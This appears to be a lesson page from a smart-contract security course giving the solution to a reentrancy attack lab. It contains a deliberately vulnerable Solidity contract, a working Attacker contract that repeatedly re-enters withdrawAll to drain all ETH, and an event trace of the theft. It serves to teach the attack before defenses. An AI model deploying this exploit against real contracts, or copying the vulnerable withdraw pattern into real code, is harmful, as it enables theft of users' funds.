Introduction
- In this lesson, you'll dive into the solution of the Reentrancy Fundamentals: Attack Lab.
Prerequisites
Code Solution
Tip
- To maximize viewing space, click the icon within the bottom left corner
- Green highlights: Correspond to additions.
- Red highlights: Correspond to removals.
24 collapsed lines
// SPDX-License-Identifier: MIT// WARNING: This is buggy code. Do NOT use in the real world.
pragma solidity 0.8.24;
import "./shared/VulnerableBase.sol";
contract Vulnerable is VulnerableBase { mapping(address => uint256) public balances;
constructor() payable VulnerableBase() {}
// Allow a customer the ability to deposit funds into their account function deposit() public payable { uint256 initialBalance = balances[msg.sender]; balances[msg.sender] += msg.value; emit AttackerDepositBalance( initialBalance / 1 ether, balances[msg.sender] / 1 ether ); emit VulnerableContractBalance(address(this).balance / 1 ether); }
// Allow a customer the ability to withdraw all ETH from their account. function withdrawAll() public { uint256 beginExecutionBalance = balances[msg.sender]; // COMMENT GROUP A: START if (beginExecutionBalance <= 0) { revert("Customer has insufficient balance"); } (bool success, ) = msg.sender.call{value: beginExecutionBalance}(""); require(success, "Failed to send ETH"); balances[msg.sender] = 0; // COMMENT GROUP A: END }}
21 collapsed lines
// SPDX-License-Identifier: MIT// WARNING: This is buggy code. Do NOT use in the real world.
pragma solidity 0.8.24;
import "./shared/AttackerBase.sol";
contract Attacker is AttackerBase { // IMPORTANT: ONLY CHANGE THE FUNCTIONS THAT HAVE BEEN OUTLINED IN THE INSTRUCTIONS uint256 private constant _ATTACK_AMOUNT = 1 ether;
constructor( address _vulnerableContractAddress ) public payable AttackerBase(_vulnerableContractAddress) {}
function attack() external override { // Helpful for debugging emit AttackerContractBalance_(address(this).balance / 1 ether);
// TIP: You can call methods on the vulnerableContract // E.g., `vulnerableContract.withdrawAll()`
// COMMENT GROUP A: START vulnerableContract.deposit{value: _ATTACK_AMOUNT}(); vulnerableContract.withdrawAll(); // COMMENT GROUP A: END
// Helpful for debugging emit AttackerContractBalance_(address(this).balance / 1 ether); emit VulnerableContractBalance_( address(vulnerableContract).balance / 1 ether ); }
// Function is executed when VulnerableContract sends ETH. receive() external payable override { // Helpful for debugging emit AttackerContractBalance_(address(this).balance / 1 ether); emit VulnerableContractBalance_( address(vulnerableContract).balance / 1 ether ); emit AttackerDepositBalance_( vulnerableContract.balances(address(this)) / 1 ether );
// TIP: You can call methods on the vulnerableContract // E.g., `vulnerableContract.withdrawAll()`
// COMMENT GROUP A: START if (address(vulnerableContract).balance > 0) { vulnerableContract.withdrawAll(); } // COMMENT GROUP A: END }}
Explanation
Tip:
This section can relate the solution's code to the Process Diagram. Use the Process Diagram (and the Process Diagram's Explanation section) to understand the solution.
Challenge: Attacker.sol should be able to steal all ETH from Vulnerable.sol
- Marker
1
: Corresponds to the Process Diagram's Seeding Phase -1
- Marker
2
: Corresponds to the Process Diagram's Transfer Phase -3a
. This initiates the first cycle of the Attack Loop. - Marker
4
: Initiates all subsequent cycles of the Process Diagram's 'attack loop'. This process continues until allETH
has been transferred to theAttacker
Contract.- To help visualize this process, review the Event Trace section.Tip
- Marker
1
: Deposits_ATTACK_AMOUNT
(i.e., 1ETH
) into the Attacker's account withinVulnerable
Contract. This will ensure that Marker5
will not be evaluated. - Marker
3
: Will ensure theVulnerable
Contract only sends availableETH
. IfVulnerable
Contract tries to sendETH
that it doesn't have, Marker6
will cause a revert operation.
Event Trace
Tip:
Use the event trace (below) to understand the solution's execution flow
[CALL] Attacker.attack() [EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 1) [CALL] Vulnerable.deposit{value: 1.0}() [EVENT] Vulnerable.AttackerDepositBalance(previousEthBalance: 0, currentEthBalance: 1) [EVENT] Vulnerable.VulnerableContractBalance(currentEthBalance: 11) [CALL] Vulnerable.withdrawAll() [CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x) [EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 1) [EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 10) [CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth) [EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1) [CALL] Vulnerable.withdrawAll() [CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x) [EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 2) [EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 9) [CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth) [EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1) [CALL] Vulnerable.withdrawAll() [CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x) [EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 3) [EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 8) [CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth) [EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1) [CALL] Vulnerable.withdrawAll() [CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x) [EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 4) [EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 7) [CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth) [EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1) [CALL] Vulnerable.withdrawAll() [CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x) [EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 5) [EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 6) [CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth) [EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1) [CALL] Vulnerable.withdrawAll() [CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x) [EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 6) [EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 5) [CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth) [EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1) [CALL] Vulnerable.withdrawAll() [CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x) [EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 7) [EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 4) [CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth) [EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1) [CALL] Vulnerable.withdrawAll() [CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x) [EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 8) [EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 3) [CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth) [EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1) [CALL] Vulnerable.withdrawAll() [CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x) [EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 9) [EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 2) [CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth) [EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1) [CALL] Vulnerable.withdrawAll() [CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x) [EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 10) [EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 1) [CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth) [EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1) [CALL] Vulnerable.withdrawAll() [CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x) [EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 11) [EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 0) [CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth) [EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1) [EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 11) [EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 0)
Reflection
- Does the event trace correspond to your understanding of Reentrancy?Self Quiz
Next Steps
- In the Reentrancy Fundamentals: Defend Theory, you'll learn design patterns that can help mitigate Reentrancy attacks
Disclosures
Warning: